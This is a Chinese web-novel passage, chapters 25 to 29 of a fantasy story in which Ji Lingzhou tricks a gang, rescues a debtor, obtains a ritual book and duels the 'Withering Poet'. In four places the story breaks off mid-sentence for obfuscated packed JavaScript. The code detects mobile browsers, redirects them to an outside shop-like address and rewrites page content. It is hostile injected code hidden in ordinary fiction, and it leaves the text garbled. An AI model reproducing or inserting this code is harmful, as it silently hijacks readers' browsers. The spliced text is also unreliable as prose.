季泠州没察觉出任何问题。 他继续解释: “先处理债务,然后找到你的哥哥和母亲。”他抬腕看了一眼【沉睡手表】显示的时间,此刻时间是下午三点半。 一切顺利的话,今晚前这一家四口就能团圆四分之三。 …… 铁皮犀牛帮盘踞在海文区多年,成员大多是附近工厂的工人。创立之初的目的是替受伤工人索要赔偿,帮派从中抽取佣金。 可惜,事务的发展事与愿违。 不知从什么时候起,铁皮犀牛帮发现直接向工人收取保护费来钱更快。 于是,一颗毒瘤逐渐壮大。 若说变化是从何时而起,大概是从带头的几个工人在维权中被工厂主打死,紧接着几个生面孔加入之后开始的。 铁皮犀牛帮的大本营在水手大街的一幢四层小楼里。 离着老远,季泠州就闻到了浓郁的酒气,夹杂着劣质香水的味道。 安妮披着新买的斗篷,背着个木头箱子,怯生生地跟在他后面。 他刻意买大了一号,好让布料垂下挡住小姑娘的脸。 楼下,站着两个膀大腰圆的打手,他们双手叉腰,用不客气的眼神打量着每一个路人。 季泠州左手握住【高光】,动作干脆利索地瞄准靠左边那个。 “咻!” 手表的麻醉针射出,左边的打手像喝醉了酒般,摇晃了几下倒在地上。 右边打手长满络腮胡子的脸满是迷茫,旋即蹲下,开始摇晃自己的同伴。 季泠州等了一会,估摸着即便是死人,在这样的摇摆下也要诈尸了,可那壮汉依旧一动不动。 很好,晕的彻底。 他装作惊慌的样子叫了一声:“天!他得了昏迷症!必须得立刻隔离治疗,否则你们也会被传染的。” 右边的打手凶狠地抬起头,瞪视季泠州。 “你说什么!” 楼房里传来脚步声,似乎是里面的人听到动静,跑了出来。 他们将季泠州、安妮和两个打手围在中间,大声交谈。 “这家伙是医生?” “应该是,他还带着药童。”涅伽拉德的医生喜欢携带配药助手,通常由儿童担任,因为薪资便宜。 “汤姆这是怎么了?” 季泠州面色关切:“我建议大家和发病的这位先生保持距离,昏睡病会传染。” 说完,他拉着安妮退后一步。 借着机会,他对另一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254590|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打手发射了一针。 那个打手摇摆了几下,昏迷在自己的同伴身上。 从安妮的角度能看到,他的同伴被压得面色通红,即便失去意识,表情看起来也很不安详。 她快活地吐了吐舌头,心里很是高兴。 铁皮犀牛帮众人看到这一幕,一片哗然。 真是神了,说得也太准了! 他们快速散开,几个机灵的还捂住了口鼻。 一时间,紧张的气氛笼罩了全场。 季泠州神色凝重,取出一盒药膏,说:“我可以救治他们,但需要有人支付诊金。” 小楼里的人坐不住了。 一个四十多岁的鹰钩鼻男人急匆匆跑出来,先是检查了一下地上躺着的两个打手。 然后抬头,用锐利的目光打量着季泠州:“东陆人?” 季泠州摇头,纠正道:“奥伦特人。” “谢谢。我们有熟悉的医生,给你一个佛尔,请你尽快离……”不等他说完,季泠州果断对准他射了一针。 鹰钩鼻身体一软,倒在自己两个魁梧的下属身上。 男上加男。 “啊!头儿!”周围的帮派成员彻底坐不住了。 季泠州无奈摊手,用遗憾的语气说:“我说过了,昏睡病传染,不要接触发病的人。” 帮派成员们失去唯一的主心骨,慌张无主。 其实,铁皮犀牛帮还有几个头目,但他们大多带人去抓安妮了,刚好被季泠州捡了个漏。 “医生先生,请你治治我们的头儿。”一个对眼儿的帮派成员说。 对眼儿嘴上礼貌客气,实则用身体拦住了季泠州去路,大有“你不治疗,就别想离开”的样子。 季泠州满脸为难:“可我不是专业医生。我是个巫医,只能把他们的病转移到其他人身上。” 对眼儿下意识地退了一步,心中暗自后悔,恨不得抽自己几个耳光。 巫医是洛萨兰特有的职业。 洛萨兰这块土地在移民到来之前,是海民的地盘。海民是部落制,信奉掌握祝福和诅咒术式的萨满。 随着海民消亡,部分新移民从萨满留下的鱼皮书上学到了这些术式,成为了巫医。 大部分巫医脾气古怪,手段诡谲,擅长调配毒药、无声无息间诅咒敌人,得罪他们的人大多死得很惨。 对眼儿双腿颤抖,控制不住地疯狂眨眼,他结结巴巴恳求: “巫医大人,求求您原谅我!我愿意把我全部的钱交给您,只求您…您饶我一命。” 季泠州用慈和的目光望着对眼儿:“愿先祖庇佑你!我原谅你了。” 说完,寻路小果蝇在他的示意下,从怀里飞出,落在对眼儿的头上。 对眼儿听了这话,又感觉脑袋突然一沉,身体顿时失去力气,“噗通”一声跪倒在地,痛哭流涕。 他觉得自己完了,什么情况下巫医会原谅一个冒犯自己的人呢? 唯有这个人死了,去了先祖所在的世界。 周围的帮派成员看到着颜色鲜艳的巨大昆虫,再次齐齐挪动脚步,拉开了自己和两个打手、鹰钩鼻老大,以及对眼儿的距离。 季泠州觉得火候差不多了,再拖下去怕是要天黑了,他还想在金罗勒餐馆吃晚饭呢。 “好了,你先花钱赎买自己的罪,然后帮我办些事,就原谅你。”他大度地扶起瘫软在地的对眼儿。 对眼儿感激涕零地望着季泠州。 “我要寻找一个健壮的苗床,用来承载这两人的病,你带路。”他很擅长用新学的行话为自己包装。 寻路小果蝇哼着歌儿飞起,它疯狂扑扇翅膀,激动异常。 来之前,季泠州喂它吃了几块剩下的烤面包,它真的很好养,喂啥吃啥。 周围的帮派分子用恐惧的眼神看向小果蝇,这虫子一看就有毒,说不定还会吸人脑髓。 对眼儿恭恭敬敬地拉开了大门,邀请季泠州进来。 …… 二楼,一位正在弹手风琴的唱歌人若有所思的停下手里的动作,朝楼梯望去。 雇佣他的帮派成员不满地哼出声。 唱歌人连忙继续弹奏。 只是,随着悠扬的音乐声再次响起。房间里除他外的所有人脸上的肉迅速腐朽、脱落,露出牙床。 而他们浑然不觉,依旧跟着节奏打拍子。 26.通往虚无 季泠州深吸一口气,压下心中的不适。安妮站在他后面,伸手抓紧他的衣摆,浑身绷得紧紧地。 为了尽快完成带路任务,对眼儿直接带季泠州来到地下室,这里被铁皮犀牛帮用作关押“负债者”的场所。 面容麻木的人挤在铁笼子里,空气沉闷而污浊。 笼子外,脏兮兮的铁盆盛着一小堆灰色糊状物,笼子里的人需跪伏在地,竭力伸手才能够到。 他注意到,不少人身上还穿着粗布工装,大约是破产后,直接从工位上被带至此处。 他无声地叹息,心想,这就是涅伽拉德。 这是座井井有条的城市,街道两侧永远摆满花箱,市政会定期更换时令花卉,确保在任何时候,一眼望过去永远是郁郁葱葱、生机勃勃。 但同时,涅伽拉德执行严格的破产制度。 居民一旦无法在期限内偿还债务,就会被列为负债人。 法律规定,债主有权以任何方式追讨债务,包括将欠债人转卖给帮派,由其代为追讨。 连年上涨的房租、恶性竞争导致的薪资下降,以及恶劣工作环境带来的高昂医疗支出,使很少有工人能不欠债。 “安妮,找到了吗?” 季泠州弯下腰,对着小姑娘耳边轻声问。 安妮摇头。 对眼儿走在前面,忽然抬脚踢翻铁盆,嬉笑地看着糊糊撒了一地。 笼子里的人张口咒骂,很快又换成哀求。 安妮忍不住尖叫了一声。 这种精神与生理上的双重折磨,能让债务人更快接受帮派提出的苛刻还债合约。 很多人为了离开这样的监牢,选择“主动”进入矿井工作,他们通常活不过三年。 季泠州的拳头在袖子里捏紧。 他必须做点什么,却又无力地松开了拳头——他什么也做不了。 债务制度是洛萨兰的基础制度,受官方和神明的双重保护。 这里所有的人的名字都登记在一件名为【契约之书】的神物上,任何阻挠偿还债务之人,都会被标记在地图上。 即便自己能救走这些人,但这些人哪也去不了,反而会因为逃避债务背上新的违约金,只会恨他。 下一秒,他感受安妮再扯他的衣服。 “是赫尔曼叔叔。”小姑娘指着铁栅栏旁边,伏地往嘴里捧糊糊的男人。 她被吓坏了,声音中带着颤抖。但很快镇定下来,用急切的语气解释:“他手腕上有一道疤,我见过能认出来。” 季泠州认真打量着那个男人,他脸上沾满了污垢,双目无神,凌乱的灰发脏到打绺。 仔细看,能发现他长得和纪念会照片里的人一模一样。 但身上那种接受教育带来的理性光辉消失得无影无踪,这才让季泠州没认出来。 季泠州看向那个趴在地上、机械舔舐糊状物的男人,他手腕上那道月牙形疤痕,在昏暗中格外刺眼。 无论如何,先把他弄出来再说。 不得不说,这完全是意外之喜。 “这个。”季泠州朝着对眼儿抬抬下巴,冷漠地指着赫尔曼说。 对眼儿点点头,打开牢房,一把把赫尔曼拽了出来,推倒在地,然后粗鲁地往他脖子上系上一根麻绳,并殷切地将绳头塞到季泠州手里。 季泠州握着绳子,心里很不适应。 但他强壮镇定,拽了一下绳子,尽量在不弄伤赫尔曼的情况下,让他跟在自己身边。 “你不是巫医。”对眼儿忽然笑起来。 对眼儿咧开嘴,露出满口白牙,“哪儿来的愣头青,装得还挺像。可惜,你林肯爷爷见过真巫医。”他啐了一口,眼神阴狠起来。 “我必须打断你的腿!再把你身后的这个小东西卖到三色堇大剧院去,贵族老爷最喜欢这样年纪的小家伙。”对眼儿咬牙切齿。 “你是怎么发现的?” 季泠州轻笑一声,神色毫无被识破的慌张。 对眼儿得意道:“我见过巫医老爷,他们都是讲究人,只用有尖刺的项圈,这样泥腿子才够听话。” 他不屑地抖抖手里麻绳。 季泠州很无奈,他已经很努力在扮演恶人了,可因为缺乏对人性下限之低的想象力,还是露出了破绽。 安妮突然蹲下,抓起一把糊糊朝对眼儿甩去,声音发颤却竭力镇定:“黑眼睛先生,快跑,安妮帮你拖延时间。” “既然如此,请你告诉我,你们在哪里找到他的?”季泠州目光专注地和对眼儿的那双对眼儿对视,声音平静。 安妮瞪大眼睛看向季泠州,嘴唇动了动,最终还是把话咽了回去,只是手指紧紧攥住了自己的衣角。 然而,令她愕然的是,上一秒还在放狠话的对眼儿,突然腰一弯,脸上瞬间堆起讨好的笑,搓着手道: “扳手老大,您怎么来了?兄弟们都按你的吩咐做事,一点也不敢懈怠。” 安妮:“?” 季泠州微笑,一只手在身后展开,露出掌心躺着的半颗门牙。 【物是人主(使用次数3):这是扳手老大与生俱来的身体组件,每个铁皮犀牛帮小弟可以不知道老大叫什么,但决不能不知道这颗牙。现在,它是你的了,四舍五入等于你就是扳手老大了。】 “构筑”是个需要大量实验的能力,当探索出好用的方向时,不妨多用用。——季泠州的超凡小贴士。 为此,他兜里还装着鹰钩鼻的钢笔,以及从其他人身上顺来的小零碎。 在顶头上司面前,对眼儿展示自己的欲望空前高涨。 “是丹尼尔管家送来的,他让兄弟们看好这家伙。” “我今天去抓的那个小姑娘,叫什么来着?” “安妮·豪斯,小美人胚子,送去三色堇大剧院一定能卖个好价钱。” “我问什么你答什么。”季泠州神色严肃。 “好,扳手老大。” “她的家人呢?” 对眼儿迟疑地张开嘴,欲言又止。 “扳手老大,我是真没想到这对兄妹会跑。毕竟孩子妈妈亲自把孩子卖掉的,我以为她和孩子说过了。” 珍妮控制不住地尖叫了一声:“绝不!妈妈不是那样的人。” 她摇着头,大颗大颗的泪珠从眼眶滑落。 哭声让对眼儿迷离的眼神凝聚了一刹,紧接着在【物是人主】的力量下,再次归于混沌,变得温顺起来。 季泠州拍了拍她的背,安慰道:“先别急,我们再听听。” 接下来,对眼儿赌咒发誓,竭力证明自己在看守期间绝没有喝酒,说自己已经把那哥哥抓回来了。 “他在哪?” “在底层,帷幕后面。” “带路!” 对眼儿晃了晃脑袋,走在前面。 走廊尽头是一道盘旋向下的甬道,黑暗幽深,还能闻到淡淡的血腥味儿。 季泠州思索再三,决定将安妮留在这里,他怀疑下面很可能是铁皮犀牛帮用来拷打的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对眼儿像换了个人,嘴角突然弯出一个迷人的微笑。他动作优雅地向季泠州行了一礼,随后整个人融化在空气中。 空气中的铁锈味儿更浓郁了。 季泠州想,对眼儿应该是死了。 就在他融化的那一刻,身上所有的标签都消失了。 无论是【欺软怕硬】、【贪小便宜】,还是【眼神集中】都不见了。 他心头的警报拉到最高,警惕地打量四周。事到如今,肯定不能再往前走了,只能往回。 还有,对眼儿说的“弟弟”是什么人? 一种莫名的不安自心间涌起,作为侵占他人躯体的不速之客,面对原主亲人时,有一种下意识的歉疚。 季泠州一边安慰自己,希望这“弟弟”只是个代号,一边转身向后。 只见身后也有一道帷幔,褪色的布料几乎要碰到他的脸。 静谧的甬道中,一前一后两道帷幔正轻柔飘动。 季泠州被夹在中间,脸色难看。就在刚才,他看到了帷幕的介绍: 【通往虚无:由仪式之书搭设的特殊仪式门,直通狂乱之喉的胃袋。请相信,没有任何东西能离开那里,即便是狂乱之喉自己。】 若有若无的呢喃声自帷幕后传来。 “儿子,你怎么站在家门口不进来?” “还有三分钟停止检票,快跑呀!” “今天是星期四,泠州你快来!楚殷请客买了好多炸鸡。” “小年快乐!来,尝尝我酿的杨梅酒。等等,你别跑!” 27.小游戏自由 呢喃声不断。 季泠州眼神空洞地望向帷幕,手臂机械地抬起,仿佛提线木偶般向前探去。 却在指尖即将触碰到帷幕的刹那骤然停住。 他嘴角一勾,扯出个讥诮的笑。 “拜托啦!我在孤儿院长大,哪有人会叫我‘儿子’。”他将手插回口袋,语调懒散。 帷幕似是活过来一般,剧烈地飘动,想要缠住他。 季泠州紧紧贴着石壁。 他很庆幸自己不是300斤的胖子,否则这会大概和对眼儿一样,同帷幔融为一体了。 帷幕不甘地抖了许久,再次恢复平静。 他得想个办法离开这里。 若是放在以前,或许他会大为头痛,但今天可就不一样了。 太巧了,早上他刚拥有了能一键回家的【安心钥匙】。 季泠州自口袋掏出黄铜钥匙。 现在,就缺一扇门。 更巧的是,自己随身带着门。 季泠州真棒,算无遗策!他在心里夸赞自己。 然后脱下外套,用几根随身携带的钉子将外套钉在墙壁上。 只见风衣的内衬里,赫然用颜料画着一道门,门的右边还用线缝着一把锁。 ——这是他出门前临时赶制的。 防得就是今天这种情况,被困在没有门的地方。 他将【安心钥匙】插入锁孔。 “喀拉”一声,门应声而开。 季泠州整理了一下衣服,弯下腰从容地从小门里穿过。 门对面,安妮反复揉着眼睛。 专心往嘴里塞食物的赫尔曼也停下手,像雕塑一样一动不动地盯着他看。 “你是从哪里出来的?”她压低声音,目光里混着怀疑与惊愕。 季泠州打了个哈哈。 异常物带来的认知错觉无法解释,最好的方法就是忽略它。 “站在这里。”他叮嘱一声。 说完,便上前查看走廊尽头的甬道入口。 果然和预料的一样,来时的入口早已经消失不见,只剩下一道帷幕。 亦或是,一张绘着帷幕的巨大书页贴在墙上。 【(可解离)仪式之书残页:真实壁垒破碎时诞生的奇物,记载着独属于这个世界的超凡仪轨。】 竟然是仪式之书的残页,季泠州的心怦怦直跳。 他虽然一贫如洗,兜里只有自己搓的几件异常物,但什么值钱、什么珍贵,还是早早了解过的。 七神命书、天体核心、62号、浮世之冕、万代通行证、贤者柑橘…… 这些超凡世界人人向往的神物名单,他可是认真背过,为的就是某天遇到后能不错过。 任何一个超凡者都知道,当职业技能力有未逮时,通常能准备一些仪式作为补充。 很多时候,仪式比技能好用得多。 召唤塔坎瑟斯生物,就是一个极稀有的仪式。而世间所有的超凡仪式,都来自于仪式之书。 仪式之书只有一个功效,就是确保仪式百分之百成功。 而且是直接从命运层面增加成功率。 这张残页虽然没有完整版那么厉害,但恐怕也能保证个七八成的成功率。 季泠州仔仔细细地打量着这张残页。 只见书页上绘制的帷幕微微飘拂,时不时露出夹缝里站着的人。 他们满脸都是幸福的笑,似乎沉浸在极致的快乐中。但若是仔细看他们的眼睛,则会感到脊背发寒。 眼神里的怨毒、绝望和不甘几乎要溢出来。 被仪式【通往虚无】吞噬的生灵会永远困在里面,成为这张书页的一部分。 这些灵魂渴望拉扯更多的人进来,共享这永恒的折磨。 他决定终结这份苦难,何况这还是他第二次遇到可以解离的物品。 富贵险中求,诚不我欺。 他深深吸了口气,将右手按在了书页上。 瞬间,尖锐的刺痛传入大脑,仿佛他触碰到的不是书页,而是仙人球。 他咬紧牙关。 疼痛来得快也去得快,和分解黑暗丰穰投影时恢宏盛大的光影效果不同,仅仅几秒,帷幕里的人影就化作光点消散。 多余的灵魂被剥离出来,自行消散了。 一张轻薄的羊皮纸向季泠州飘来。 在落入他掌心的瞬间,化作一本硬壳书。 【季泠州的仪式之书(残缺):真实壁垒破碎时诞生的奇物,记载着独属于季泠州的超凡仪轨。】 【介绍:完成指定的任务,解锁仪式。】 看到自己的名字写在封皮上,他心中顿时浮出个不妙的想法,连忙翻开封面。 然后,他痛苦地捂住额头。 太,头痛了! 只见第一页赫然绘着密密麻麻的灰色方格,正上方是一个黄色的笑脸。 ——扫雷,超凡世界版。 紧挨着的第二页,则是一堆形状不同的方块,“L”、“田”、“闪电”、“棍子”、“T”…… 后面,有戴绿帽子的小人和蘑菇、乌龟,画着鲜艳动物头像的表格,以及头顶炸弹的小人…… 季泠州:我真傻,真的。 我单知道超凡者创造的异常物取决于本人对世界的认知,我不知道其它东西也能一比一复刻出来。 他忽略掉解锁要求,快速扫过下面的仪式效果介绍和所需材料。 自打逃脱帷幕的前后夹击后,整幢房子彻底安静下来,仿佛里面空无一人。 很明显,不可能。 那么只有一种解释了——危险如影相随,死亡这会儿大概正伏在自己身后,对着自己的脖颈吹凉气。 一旁,安妮似乎有所察觉,一声不吭地站在一旁照顾啃铁盆的赫尔曼。 他不能留二人在这里了。 季泠州松开按在书页上的手,失去操控的小人被一只飞来的乌龟撞死。 他掏出【安心钥匙】,随意跳了扇牢门打开。 温暖的灯光自门里倾泻而出,沉甸甸的托盘飞来,远处厨房传来急速的切菜声。 “彼方,替我照顾这两人。”他看着安妮带着赫尔曼进去后,叮嘱道。 烧水壶发出汽笛般洪亮的应答声。 季泠州随手勾住门,再次将注意力集中在小游戏上。 短短几分钟,他就死了三次。 他再次深呼吸,调动全身的意志力控制情绪,让自己不要砸掉这本书。 重来! 他在心中下令。 书页浮出几个按钮,他认命似的准备按下,却碰到根冰冷坚硬的东西。 没等季泠州动作,只见小人仿佛Niftski附身,以肉眼几乎看不清的轨迹跳跃、奔跑、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282649|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃蘑菇,动作灵活地摘下旗子。 “喀拉!”书页上悬浮的锁自动打开。 “彼方?”季泠州嘴巴微张。 衣架枝丫不好意思地挠了挠他的手心。 震惊!万万没想到我的智障房屋竟是游戏天才! “好样的,彼方!”门的边缘已经有了要消散的迹象,他匆匆忙忙夸赞了彼方一句,许下承诺,“等回家我请你玩更多游戏。” 在茶壶喜悦的鸣叫声中,通往彼方的门消失不见。 之前模糊的仪式流程清晰展现在眼前,季泠州嘴里小声念道: “材料需要支付一枚游戏币,进行符合职业特性的操作可以换取。 “加上一个自信的成功人士,就可以启动仪式‘乐极生悲’。很好,我有思路了。” 将剩余的仪式流程记在心里后,他果断合上仪式之书,朝楼梯冲去。 一楼走廊右侧,是更衣室。 季泠州熟练地撬开每一个柜子,翻找每一个边角。 很快,一小把钱币、几块饼干和大量小零碎被他收进口袋。 直到掌心一热,一枚刻着季泠州侧脸头像的银币凭空出现。 【游戏币:向捡垃圾大师致敬!即便是带着牙印的面包也难逃你手,NPC家里最后一个子儿都能被你翻出来。】 很好,自己虽然没有成为皇帝,但是已经拥有属于自己的钱币了,绝妙的开端。 小心将这枚让人不好意思的游戏币收起,季泠州朝楼顶走去,今天必须得会会那个躲在背后的家伙。 失去意识的帮派成员像烂泥一样摊在过道里。 他跨过一具又一具的躯体,心中对即将见面的人有了大致的推测。 能大范围操控人类,视规则如无物。 很可能是狂乱之喉的信徒,他注意到有几个人脸上出现了密集的黑色小洞,里面有半透明的蛹在蠕动。 一路上,他仍不忘刷游戏币。 季泠州不断推开房门翻找,借助“鉴定”,即便是床后面掉落的一枚铜生丁也能找到。 他索性寻了个麻袋装战利品。 他不断将东西收进麻袋,等凑够一个游戏币,又随意倒在地上。 天台。 凋零诗人凝视镜中人影,指甲深深掐进掌心。 这面镜子可以倒映关注之人的现状,它刚才掉线了一会,修好后季泠州就是这样了。 “疯子,又是该死的疯子。”他哑声低语,眼底掠过一丝恐惧。 他十分确定,那位大人的兄长脑袋不正常,而精神状态比那位大人更差。 他无法理解,季泠州为什么要折腾那些可怜帮派成员的瓶瓶罐罐。 正如他无法理解,季泠州为什么要将自己的同伴传送进一幢吃人的房子。 毫无疑问,那两个可怜的家伙,此时已经被撕成碎片,化作两件新的骸骨家具了。 (这里他将彼方错认成异常【活屋】了。【活屋】常出现在荒野,扮成庇护所以诱骗旅人进入过夜,借机将其吞噬。) 对于这样的疯子,唯有出其不意,用更不正常的手段才能将其击败、杀死。 凋零诗人握紧手里的竖琴暗下决心,这次必须得完成任务。否则,自己会死得很凄惨。 “咚咚咚” 四楼通往天台的门内响起敲门声,凋零诗人心中一紧。 28.凋零诗人 当最后一抹夕阳余辉消失在海平面时,季泠州推开生锈铁门。 天台边缘,凋零诗人站在矮墙边,背对着他。 晚秋的风很冷。 他有漂亮的淡金色头发,穿着身翠绿色的夏季晚礼服,竖琴搁在臂弯里,指尖轻轻拂过琴弦,悠扬的琴声飘向天际。 周围堆着各式各样的杂物,但他仿佛置身于金碧辉煌的音乐厅,全身心沉浸在艺术里。 像,装得太像了! 瞧瞧这扮相,真是个迷死人的反派。 季泠州敢打赌,若把眼前的家伙画进漫画里,绝对能大卖。 但命运已经为这位音乐家写好了注脚。 为此,他感到由衷遗憾。 又弹奏了一会,凋零诗人似是才察觉出季泠州的到来。 他缓缓转身,露出温和的侧脸,开口道: “你来了。” 季泠州耸耸肩:“不是你让我来的吗?你该不会是忘记了吧。 “我看你年纪不大,记忆力差成这样,我建议你买些核桃吃。对了,记得把提醒自己吃核桃的备注写在手心,否则……” 他没说后半句,但脸上同情的表情表明了一切。 凋零诗人指尖悬在琴弦上,久久没有按下。 他不理解为什么季泠州会让自己吃核桃,但从语气里能听出,绝对不是什么好话。 他垂下眼帘,掩去眸中一闪而过的冷意,唇角却依然维持着温和的弧度,继续弹奏。 一想到等这首曲子弹完后会发生的事,天大的怨气也要散了。 季泠州漫不经心地踱到杂物堆旁,拎起一顶积灰的破毡帽,认真地拂去上面的灰尘。 凋零诗人用眼角余光观察他,同时浑身紧绷,以防季泠州突然发难。 然而季泠州慢悠悠踱回凋零诗人身侧,将毡帽轻放在对方脚边,指尖一弹,两枚生丁叮当落进帽中。 “在我们老家,像你这样的人都会选一个人多的地方。”他咂咂舌,动作明显地扫视了一下周围。 遗憾道:“我不太理解你选址的思路。或许你不需要钱,但你不觉得冷吗?” 季泠州指指凋零诗人身上单薄的礼服,再指指自己身上厚实的大衣,一切不言而喻。 凋零诗人只觉得浑身的血都涌向了大脑,这个东陆人是将自己比作流浪的卖艺人吗? 侮辱!这不仅对自己,更是对艺术的侮辱! 他在理智值跌落安全线前,一直都是洛萨兰国家剧院的座上宾,演奏会一票难求,多少权贵为听他演奏一曲豪掷千金。 世上怎么会有这样的家伙? 可恶! 他现在十分理解那位大人为什么如此执着杀死自己的哥哥。 凋零诗人的动作不由加快,原本悠扬的音乐变得急促,再坚持三十秒,自己的领域就要完成了。 这是最稳妥的战术,专克疯子! 届时,方圆五十米内一切存在都会凋零,记忆会褪色、情感会消失、灵魂与□□会一同枯朽。 季泠州心里叹了口气,脾气可真好。 “如果你希望我投币,那么我的任务已经完成了,告辞。”他转身就走,步伐极快,一眨眼就消失得无影无踪。 凋零诗人只是眨了下眼,眼前人就消失不见。 他怒吼一声,停止演奏,从竖琴的底座里抽出两把短剑,朝门的方向扑去,一双湛蓝的眼睛睁大,全神贯注搜寻前方。 他发誓,要亲手将那可恶的东陆人用剑切成片。 “嘭——” 急促的枪声自他刚才站的地方传来,刹那功夫凋零诗人背后就多了一片冒烟的破洞。 季泠州没有停下。 【山寨隐形斗篷】的代价牙痛还在加深,他必须在疼到忍不了前用【描边大师】给那个装腔作势的家伙造成足够伤害。 “原来你在这里。”凋零诗人声音森冷,缓缓转身。脸上的表情依旧温柔,甚至更温柔了,他从来不和死人计较。 此刻,凋零诗人的躯体在持续射击下,变得破破烂烂,建筑里的灯光穿过他身上的孔打在地上,像花洒一样。 怎么还没死? 季泠州看到,凋零诗人的伤口分泌出半透明的粘液,亦或是说,他整个人都是半透明的粘液形成的。 物理攻击对他无效。 凋零诗人脸上的笑容越来越盛,他加快步伐,甚至跑了起来。 两柄雪亮的剑朝季泠州的腿刺来。 不致命,但会让他失去行动力。 季泠州当机立断抽出【高光】架住凋零诗人的剑,同时往后撤了一步。 “锵!” 剑刃碰撞的一刹那,只感觉一股巨力,几乎要让他握不紧剑柄。 短短十几秒,两人就交手了十几次。 “原来是些花架子,哈哈哈哈。”凋零诗人忽然抽冷子刺出一剑,刺向季泠州的左肋。 他连忙调转【高光】挡下这一击,而凋零诗人的短剑却如毒蛇一般,拐了个弯划向另一侧身体。 季泠州只觉得右腹一凉,接着传来火辣辣的疼痛,衣服濡湿了一片。 伤口不深,但由于他要不断腾挪移动,躲避凋零诗人的攻击,动作间扯动伤口,血像不要钱一样往外流。 他很无奈,【高光】的局限体现得淋漓尽致。 这把剑带来的是套路武技,换言之就是武技表演。 对付普通人可以,但对付精研过剑术的人来说,就是送菜了。 凋零诗人脸上带着残酷的笑意,察觉到季泠州的弱点后,一剑比一剑毒辣,很快将他身上划出七八道伤口。 但不幸中的万幸是,虽然【高光】被凋零诗人克制,但这件异常物对“美感”的执着依然生效。 季泠州身上血迹斑驳,动作满是破绽,但依旧身姿洒脱飘逸。 凋零诗人剑锋愈急,脸上自信的笑却渐渐凝固,逐渐化作讥诮、然后是困惑。 他眯起湛蓝的眸子,试图从季泠州的动作中寻求答案。 他想刺季泠州的腿,废掉他的行动力,可是季泠州每每总能在关键时刻躲开。反倒是重要的躯干完全不保护,任由自己劈砍。 这人到底是能打还是不能打?是在愚弄自己吗? 啊这! 想不通,完全想不通! 估摸着差不多了,该进入下一步了。 季泠州忽然跃出战圈,收起【高光】,他虚弱地坐在地上,靠着天台的矮墙。 高明的猎手总是以猎物的姿态出现,审问时间到了。 “我不明白,你是谁?你为什么要三番五次杀我?”他已经认出来了,金发男人就是当初在彼方前的那个马车夫。 凋零诗人抖掉剑刃上季泠州的血,将剑重新插回竖琴内。 “你可以称呼我为凋零诗人。”他眼中划过一丝欣赏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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凋零诗人:“之前我还疑惑为什么派我来寻你,而不是东陆的半神来。原来你是傻子,这就能理解了。” 季泠州:“你说清楚。” 凋零诗人:“该上路了。很高兴认识你,让我知道不是每个生来高高在上者都能幸福欢乐,命运是公平的。” 他脸上挂着释然的笑,比之前刺杀时真诚了许多。 季泠州暗想,看来是问不出更多了。 精神胜利也算是一种胜利吧。胜利会带来快乐,自然也有概率导致乐极生悲。 他松开一直紧握的手,银辉一闪,一枚游戏币朝凋零诗人飞去。 凋零诗人上一秒还在感慨,下一秒像提前预判一般抽出短剑劈飞游戏币。 什么也没有发生。 “你不老实。”金发男人神色冷酷,“本想一剑结果了你,带尸体回去,现在我改变主意了。” 凋零诗人咬破指头:“现在,我要把你献给终结世界的巨虫、伟大的狂乱之喉。忘了和你说,我是祂的祭司。” 他用血围绕着季泠州的身侧绘制符号。 季泠州神色平静。 就在凋零诗人的剑碰到游戏币的那一刻,他额头出现一个捂脸大笑的流泪人脸符号。 仪式·乐极生悲成功了。 29.狂乱之喉大战黑暗丰穰 某位半神在登神失败后,留下一句话:“蝼蚁和神祇没有区别,都是可悲的傀儡。我恨仪式,一切仪式。” 随着凋零诗人绘完最后一个符文,一层灰蒙蒙的光幕笼罩住了季泠州。 空气变得稀薄,需要更用力呼吸才能汲取足够供应心脏的氧气。 灰幕外,凋零诗人湛蓝的瞳孔里烧着某种近乎圣洁的火焰,他望着季泠州,就像厨师望着精心烹饪的佳肴,指尖因兴奋而微微颤抖。 他相信伟大的狂乱之喉会喜欢这份甜点。 无数光年外,一个有太阳系几万倍大的星系里。 无目巨虫抱着一颗恒星大口啃食,祂身后是无边的荒芜寂静。 若是拉近视角,能看到巨虫本身亦是由无数一模一样的虫子构成,它们纠缠在一块,蠕动不休。 一条小虫忽然察觉到什么,欢快地张开口器,一口咬开虚空钻了进去。 季泠州的头顶出现一张满是细齿的巨口,它用力咬下。 凋零诗人看到这美妙的画面,激动地眼眶通红,几乎要哭出声来。 太美了!这是穷尽人类语言都无法描述的盛景。 今天他准备的祭品并不优秀,起码在智慧上远远不合格,但神祇还是降临了自己的一缕化身。 无上的恩宠! 